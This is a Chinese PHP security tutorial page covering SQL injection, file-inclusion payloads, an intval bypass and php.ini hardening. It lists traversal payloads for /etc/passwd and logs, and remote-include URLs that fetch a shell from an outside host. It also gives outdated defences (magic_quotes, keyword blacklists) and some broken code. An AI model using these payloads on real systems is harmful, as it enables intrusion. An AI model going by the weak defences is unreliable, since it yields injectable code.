自己了解php中sql注入一些方法介绍
何为注入?
比如我们在查询数据库的时候,我们通过文章的id号来取出这篇文章的所有信息。那么SQL语句可以这样写:
代码如下 | 复制代码 |
select * from blog where id=5 |
id的值通过用户的操作来传递,一般是GET方式,形如read.php?id=5。这样看起来是没有任何问题,但是如果我们稍微改下SQL语句:
代码如下 | 复制代码 |
select * from blog where id=5 or 1=1 |
1=1这个是恒等的,那么这条语句就会取出所有的文章。要修改这个只需要改一下GET的传值即可:read.php?id='5 or 1=1';注意这两个单引号...所以最简单的就是我们可以通过直接把参数改为单引号来查看这个链接是否存在注入。当然,非法用户看到所有的文章并不要紧,但是如果这个表是保存账号和密码的呢?
2.如何防范注入?
说到底,防范注入的根本就在于字符的过滤,因为非法用户一般都是通过构造URL来传值的,如果我们过滤了他传进来的非法参数,这非法的SQL语句就不会执行,那么我们也就防止网站被注入!
PHP内置的过滤字符串还是相当不错的,先看看具体代码:
代码如下 | 复制代码 |
function safe($s) { if(!get_magic_quotes_gpc()) { if(is_array($s)) foreach($s as $key=>$value) $s[$key] = addslashes($value); else $s=addslashes($s); } return $s; }
function html_safe($s) { return nl2br(htmlspecialchars(safe($s) )) ; } |
如果你不知道上面用到的几个内置函数,也懒了去查手册的话,那我就说下这几个函数:
magic_quotes_gpc这个称为魔术引号,如果这个功能开启,那么当向数据库中插入数据时,魔术引号所做的就是自动对所有的 GET、POST、COOKIE 数据运用 addslashes() 函数。get_magic_quotes_gpc()就是用来获取服务器上这个功能是否开启的:如果开启了,那么直接返回数据;如果没开启,那么手动对参数进行addslashes()转义。这样就可以防止双层转义~
addslashes -- 使用反斜线引用字符串。描述:string addslashes ( string str );返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线()与 NUL(NULL 字符)。 一个使用 addslashes() 的例子是当你要往数据库中输入数据时。例如,将名字 O'reilly 插入到数据库中,这就需要对其进行转义。大多数据库使用 作为转义符:O'reilly。这样可以将数据放入数据库中,而不会插入额外的 。当 PHP 指令 magic_quotes_sybase 被设置成 on 时,意味着插入 ' 时将使用 ' 进行转义。
下面的那个htmlspecialchars就是对Html中的字符进行转换,比如说将‘&’转成‘&’,,将‘<’转成‘<’。nl2br这个是将回车换行转换成<br/>,这个在用户输入评论之类的信息时候用得比较多。
通过上面的几个函数,我们已经可以过滤一些简单的注入了。另外再说几个小的方面:
对于最开始的那个例子,实际上改进的地方很多,比如写成这样看起来应该更规范一些:
代码如下 | 复制代码 |
SELECT * FROM `blog` WHERE `id`='$id' |
对于SQL的关键字我们用大写来表示,对于数据库中的表和字段我们用小写,另外在字段名和表名上加上“·”这个符号(键盘上数字1左边的那个键上),并且在进来的id上我们用单引号引起来。
对于这样的传进来参数是数字类型的,我们可以对$_GET到的值进行强制转换。但我更习惯这样:
代码如下 | 复制代码 |
$id = $_GET['id']*1; //获取文章的id,用来显示文章信息 if($id == 0){ echo "ERROR..."; exit(); } |
如果一发现传进来的不是数字,那么很大可能性性是存在问题的参数,那么我们直接给出错误提示然后退出就行,这样再省得再去给非法用户执行数据库查询操作了。
最后我们看一下JBlog中的一个处理注入的地方:
includecommon.php的38行
代码如下 | 复制代码 |
if ( !get_magic_quotes_gpc() ) { $_GET = add_slashes($_GET); $_POST = add_slashes($_POST); $_COOKIE = add_slashes($_COOKIE); } |
includefunc_global.php的194行
代码如下 | 复制代码 |
//addslashes function add_slashes($string) { if (!is_array($string)) return addslashes($string); foreach ($string as $key => $val) { $string[$key] = add_slashes($val); } return $string; }
|
当然,这应该只是一部分,其他的应该也大同小异。
文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。
基本的文件包含漏洞:
代码如下 | 复制代码 |
<?php include(“includes/” . $_GET['file']); ?> * 包含同路径下的文件: ?file=.htaccess * 路径遍历: ?file=../../../../../../../../../var/lib/locate.db (该文件非常有趣因为它允许你搜索文件系统) * 包含注入PHP代码的文件: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) |
受限的本地文件包含:
代码如下 | 复制代码 |
<?php include(“includes/” . $_GET['file'] . “.htm”); ?> * 空字符注入(Null Byte Injection): ?file=../../../../../../../../../etc/passwd%00 (需要magic_quotes_gpc=off) * 列目录(Null Byte Injection): ?file=../../../../../../../../../var/www/accounts/%00 (仅限BSD, 需要magic_quotes_gpc=off,详细信息here) *路径截断(Path Truncation): ?file=../../../../../../../../../etc/passwd........... … (详细信息参见 here 和 here) * 点号截断: ?file=../../../../../../../../../etc/passwd……………. … (仅限Windows, 更多细节参见 here) |
基本的远程文件包含:
代码如下 | 复制代码 |
* 包含远程代码(Including Remote Code): ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (需要 allow_url_fopen=On 和 allow_url_include=On) * 使用php输入流(Using PHP stream php://input): ?file=php://input * 使用PHP过滤函数(Using PHP stream php://filter): |
* 用于跨站脚本攻击(Using XSS):
代码如下 | 复制代码 |
?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed) |
受限的远程文件包含漏洞
代码如下 | 复制代码 |
<?php include($_GET['file'] . “.htm”); ?> * ?file=http://websec.wordpress.com/shell * ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On) |
静态远程文件包含漏洞:
代码如下 | 复制代码 |
<?php include(“http://192.168.1.10/config.php”); ?> |
来自Reiners’ Weblog。
那么我们如果在我们提交的数据中进行过滤是不是能够避免这些问题呢?
于是我们使用正则就构建如下函数:
代码如下 | 复制代码 |
/* function inject_check($sql_str) { return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str); // 进行过滤 }
|
我们函数里把 select,insert,update,delete, union, into, load_file, outfile /*, ./ , ../ , ' 等等危险的参数字符串全部过滤掉,那么就能够控制提交的参数了,程序可以这么构建:
代码如下 | 复制代码 |
<?php if (inject_check($_GET['id'])) { exit('你提交的数据非法,请检查后重新提交!'); } else { $id = $_GET['id']; echo '提交的数据合法,请继续!'; } ?> |
假设我们提交URL为:a.php?id=1,那么就会提示:
"提交的数据合法,请继续!"
如果我们提交 a.php?id=1%27 select * from tb_name
就会出现提示:"你提交的数据非法,请检查后重新提交!"
那么就达到了我们的要求。
但是,问题还没有解决,假如我们提交的是 a.php?id=1asdfasdfasdf 呢,我们这个是符合上面的规则的,但是呢,它是不符合要求的,于是我们为了可能其他的情况,我们再构建一个函数来进行检查:
代码如下 | 复制代码 |
/* function verify_id($id=null) { if (!$id) { exit('没有提交参数!'); } // 是否为空判断 elseif (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断 elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断 $id = intval($id); // 整型化
return $id; }
<?php if (inject_check($_GET['id'])) { exit('你提交的数据非法,请检查后重新提交!'); } else { $id = verify_id($_GET['id']); // 这里引用了我们的过滤函数,对$id进行过滤 echo '提交的数据合法,请继续!'; } ?> |
好,问题到这里似乎都解决了,但是我们有没有考虑过post提交的数据,大批量的数据呢?
比如一些字符可能会对数据库造成危害,比如 ' _ ', ' % ',这些字符都有特殊意义,那么我们如果进行控制呢?还有一点,就是当我们的php.ini里面的magic_quotes_gpc = off 的时候,那么提交的不符合数据库规则的数据都是不会自动在前面加' '的,那么我们要控制这些问题,于是构建如下函数:
代码如下 | 复制代码 |
/* function str_check( $str ) { if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str); // 进行过滤 } $str = str_replace("_", "_", $str); // 把 '_'过滤掉 $str = str_replace("%", "%", $str); // 把' % '过滤掉
return $str; } |
OK,我们又一次的避免了服务器被沦陷的危险。
最后,再考虑提交一些大批量数据的情况,比如发贴,或者写文章、新闻,我们需要一些函数来帮我们过滤和进行转换,再上面函数的基础上,我们构建如下函数:
代码如下 | 复制代码 |
/* function post_check($post) { if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开 { $post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤 } $post = str_replace("_", "_", $post); // 把 '_'过滤掉 $post = str_replace("%", "%", $post); // 把' % '过滤掉 $post = nl2br($post); // 回车转换 $post= htmlspecialchars($post); // html标记转换
return $post; } |
变量转成整数类型。
语法: int intval(mixed var, int [base]);
返回值: 整数
函数种类: PHP 系统功能
内容说明
本函数可将变量转成整数类型。可省略的参数 base 是转换的基底,默认值为 10。转换的变量 var 可以为数组或类之外的任何类型变量。
intval()使用不当的安全漏洞分析
intval函数有个特性:”直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时()结束转换”,在某些应用程序里由于对intval函数这个特性认识不够,错误的使用导致绕过一些安全判断导致安全漏洞.
二、分析
代码如下 | 复制代码 |
PHP_FUNCTION(intval) { zval **num, **arg_base; int base;
case 1: if (zend_get_parameters_ex(1, &num) == FAILURE) { WRONG_PARAM_COUNT; } base = 10; break; case 2: if (zend_get_parameters_ex(2, &num, &arg_base) == FAILURE) { WRONG_PARAM_COUNT; } convert_to_long_ex(arg_base); base = Z_LVAL_PP(arg_base); break; default: WRONG_PARAM_COUNT; } RETVAL_ZVAL(*num, 1, 0); convert_to_long_base(return_value, base); } Zend/zend_operators.c->>convert_to_long_base() …… case IS_STRING: strval = Z_STRVAL_P(op); Z_LVAL_P(op) = strtol(strval, NULL, base); STR_FREE(strval); break; |
当intval函数接受到字符串型参数是调用convert_to_long_base()处理,接下来调用Z_LVAL_P(op) = strtol(strval, NULL, base);通过strtol函数来处理参数。
函数原型如下:
long int strtol(const char *nptr,char **endptr,int base);
这个函数会将参数nptr字符串根据参数base来转换成长整型数,参数base范围从2至36,或0.参数base代表采用的进制方式,如base值为10则采用10进制,若base值为16则采用16进制等。
流程为:
strtol()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时()结束转换,并将结果返回。
那么当intval用在if等的判断里面,将会导致这个判断实去意义,从而导致安全漏洞.
三、测试代码
代码如下 | 复制代码 |
<?php 输出结果: intval(0.2) = 0 false |
php intval 与 int 的区别
代码如下 | 复制代码 |
$t ='165'; echo gettype((int)($t)); //输出结果:integer integer value:165
echo gettype((int)($t)); //结果 integer integer value:0,0 $string="2a"; |
(1) 打开php的安全模式
php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),
同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,
但是默认的php.ini是没有打开安全模式的,我们把它打开:
safe_mode = on
(2) 用户组安全
当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同
组的用户也能够对文件进行访问。
建议设置为:
safe_mode_gid = off
如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要
对文件进行操作的时候。
(3) 安全模式下执行程序主目录
如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:
safe_mode_exec_dir = D:/usr/bin
一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,
然后把需要执行的程序拷贝过去,比如:
safe_mode_exec_dir = D:/tool/exe
但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:
safe_mode_exec_dir = D:/usr/www
(4) 安全模式下包含文件
如果要在安全模式下包含某些公共文件,那么就修改一下选项:
safe_mode_include_dir = D:/usr/www/include/
其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。
(5) 控制php脚本能访问的目录
使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问
不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:
open_basedir = D:/usr/www
(6) 关闭危险函数
如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如,
我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的
phpinfo()等函数,那么我们就可以禁止它们:
disable_functions = system,passthru,exec,shell_exec,popen,phpinfo
如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作
disable_functions=chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,
copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown
以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合,
就能够抵制大部分的phpshell了。
(7) 关闭PHP版本信息在http头中的泄漏
我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中:
expose_php = Off
比如黑客在 telnet www.target.com 80 的时候,那么将无法看到PHP的信息。
(8) 关闭注册全局变量
在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,
这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭:
register_globals = Off
当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var,
那么就要用$_GET['var']来进行获取,这个php程序员要注意。
(9) 打开magic_quotes_gpc来防止SQL注入
SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,
所以一定要小心。php.ini中有一个设置:
magic_quotes_gpc = Off
这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,
比如把 ' 转为 '等,这对防止sql注射有重大作用。所以我们推荐设置为:
magic_quotes_gpc = On
(10) 错误信息控制
一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当
前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示:
display_errors = Off
如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:
error_reporting = E_WARNING & E_ERROR
当然,我还是建议关闭错误提示。
(11) 错误日志
建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因:
log_errors = On
同时也要设置错误日志存放的目录,建议根apache的日志存在一起:
error_log = D:/usr/local/apache2/logs/php_error.log
注意:给文件必须允许apache用户的和组具有写的权限。
MYSQL的降权运行
新建立一个用户比如mysql
net user mysql mysql /add
net localgroup users mysql /del
不属于任何组
如果MYSQL装在d:mysql ,那么,给 mysql 完全控制的权限,然后在系统服务中设置,MYSQL的服务属性,在登录属性当中,选择此用户 mysql 然后输入密码,确定。重新启动 MYSQL服务,然后MYSQL就运行在低权限下了。
apache的降权运行
在windows平台下搭建的apache默认运行是system权限,给apache降降权限。
net user apache apche /add
net localgroup users apache /del
我们建立了一个不属于任何组的用户apche。
我们打开计算机管理器,选服务,点apache服务的属性,我们选择log on,选择this account,我们填入上面所建立的账户和密码,重启apache服务,ok,apache运行在低权限下了。
实际上我们还可以通过设置各个文件夹的权限,来让apache用户只能执行我们想让它能干的事情,给每一个目录建立一个单独能读写的用户。
相关文章
- PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
- SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作 标准注入语句1.判...2016-11-25
php 中file_get_contents超时问题的解决方法
file_get_contents超时我知道最多的原因就是你机器访问远程机器过慢,导致php脚本超时了,但也有其它很多原因,下面我来总结file_get_contents超时问题的解决方法总结。...2016-11-25- 防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。 使用prepared以及参...2016-11-25
- php如何实现抓取网页图片,相较于手动的粘贴复制,使用小程序要方便快捷多了,喜欢编程的人总会喜欢制作一些简单有用的小软件,最近就参考了网上一个php抓取图片代码,封装了一个php远程抓取图片的类,测试了一下,效果还不错分享...2015-10-30
- 相信很多站长都遇到过这样一个问题,访问页面时出现408错误,下面一聚教程网将为大家介绍408错误出现的原因以及408错误的解决办法。 HTTP 408错误出现原因: HTT...2017-01-22
- 下面我们来看一篇关于Android子控件超出父控件的范围显示出来方法,希望这篇文章能够帮助到各位朋友,有碰到此问题的朋友可以进来看看哦。 <RelativeLayout xmlns:an...2016-10-02
- ps软件是现在非常受大家喜欢的一款软件,有着非常不错的使用功能。这次文章就给大家介绍下ps把文字背景变透明的操作方法,喜欢的一起来看看。 1、使用Photoshop软件...2017-07-06
intellij idea快速查看当前类中的所有方法(推荐)
这篇文章主要介绍了intellij idea快速查看当前类中的所有方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-09-02- 1.在没有设置默认值的情况下: 复制代码 代码如下:SELECT userinfo.id, user_name, role, adm_regionid, region_name , create_timeFROM userinfoLEFT JOIN region ON userinfo.adm_regionid = region.id 结果:...2014-05-31
js导出table数据到excel即导出为EXCEL文档的方法
复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta ht...2013-10-13- 批量更新mysql更新语句很简单,更新一条数据的某个字段,一般这样写:复制代码 代码如下:UPDATE mytable SET myfield = 'value' WHERE other_field = 'other_value';如果更新同一字段为同一个值,mysql也很简单,修改下where即...2013-10-04
- ps软件是一款非常不错的图片处理软件,有着非常不错的使用效果。这次文章要给大家介绍的是ps怎么制作倒影,一起来看看设计倒影的方法。 用ps怎么做倒影最终效果̳...2017-07-06
- 本文涉及的主题虽然很基础,在许多人看来属于小伎俩,但在JavaScript基础知识中属于一个综合性的话题。这里会涉及到对象属性的封装、原型、构造函数、闭包以及立即执行表达式等知识。公有方法 公有方法就是能被外部访问...2015-11-08
安卓手机wifi打不开修复教程,安卓手机wifi打不开解决方法
手机wifi打不开?让小编来告诉你如何解决。还不知道的朋友快来看看。 手机wifi是现在生活中最常用的手机功能,但是遇到手机wifi打不开的情况该怎么办呢?如果手机wifi...2016-12-21- 最近想自学PHP ,做了个验证码,但不知道怎么搞的,总出现一个如下图的小红叉,但验证码就是显示不出来,原因如下 未修改之前,出现如下错误; (1)修改步骤如下,原因如下,原因是apache权限没开, (2)点击打开php.int., 搜索extension=ph...2013-10-04
- 单个字符分割 string s="abcdeabcdeabcde"; string[] sArray=s.Split('c'); foreach(string i in sArray) Console.WriteLine(i.ToString()); 输出下面的结果: ab de...2020-06-25
- javascript控制页面控件隐藏显示的两种方法,方法的不同之处在于控件隐藏后是否还在页面上占位 方法一: 复制代码 代码如下: document.all["panelsms"].style.visibility="hidden"; document.all["panelsms"].style.visi...2013-10-13
连接MySql速度慢的解决方法(skip-name-resolve)
最近在Linux服务器上安装MySql5后,本地使用客户端连MySql速度超慢,本地程序连接也超慢。 解决方法:在配置文件my.cnf的[mysqld]下加入skip-name-resolve。原因是默认安装的MySql开启了DNS的反向解析。如果禁用的话就不能...2015-10-21- 本篇文章是对C#方法进行了详细的总结与介绍,需要的朋友参考下...2020-06-25